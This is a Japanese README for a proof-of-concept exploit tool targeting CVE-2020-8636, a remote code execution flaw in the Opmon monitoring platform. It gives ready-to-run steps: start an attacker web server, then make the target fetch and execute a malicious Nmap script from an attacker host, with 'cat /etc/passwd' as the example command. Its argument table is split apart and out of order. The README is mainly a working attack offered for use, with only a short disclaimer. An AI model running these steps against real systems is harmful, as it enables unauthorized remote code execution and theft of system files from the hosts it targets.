
CVE-2020-8636 Opmon用の認証済みリモートコード実行エクスプロイト
OpMonster は、Opmon 監視プラットフォームのリモートコード実行脆弱性である CVE-2020-8636 の概念実証エクスプロイトです。これは nettools.php エンドポイントを悪用します。このエンドポイントでは、任意の --script オプションを指定して Nmap を実行できます。このエクスプロイトは、Opmon にあなたが管理するサーバーから悪意のある .nse Nmap スクリプトを(http-fetch 経由で)取得させ、それを /tmp に配置した上で実行し、対象上であなたのコマンドを実行して出力を表示します。
発見・開発: @phor3nsic。 詳細: Opmon に関する 3 つの CVE。
git clone https://github.com/phor3nsic/opmonster
cd opmonster
pip install requests
まず、対象が到達できるホスト上で、生成された .nse スクリプトがダウンロード可能なディレクトリに Web サーバーを起動します(エクスプロイトはスクリプトをカレントディレクトリに書き込みます):
php -S 0.0.0.0:1337
次に、4 つの位置引数を指定してエクスプロイトを実行します:
python3 opmonster.py https://vulnhost.com myhost.ngrok.io 80 "cat /etc/passwd"
| 引数 | 説明 |
|---|
対象がスクリプトをダウンロードしない場合("not vulnerable")や、あなたのサーバーへのアウトバウンド接続ができない場合、エクスプロイトはメッセージを表示して中止します。
許可されたセキュリティテストおよび教育目的のみに使用してください。使用方法については、利用者自身が責任を負います。
HOST | 対象 Opmon のベース URL(例: https://vulnhost.com) |
LHOST | .nse スクリプトを配信するあなたのサーバーのホスト |
LPORT | あなたのサーバーのポート |
CMD | 対象上で実行するコマンド |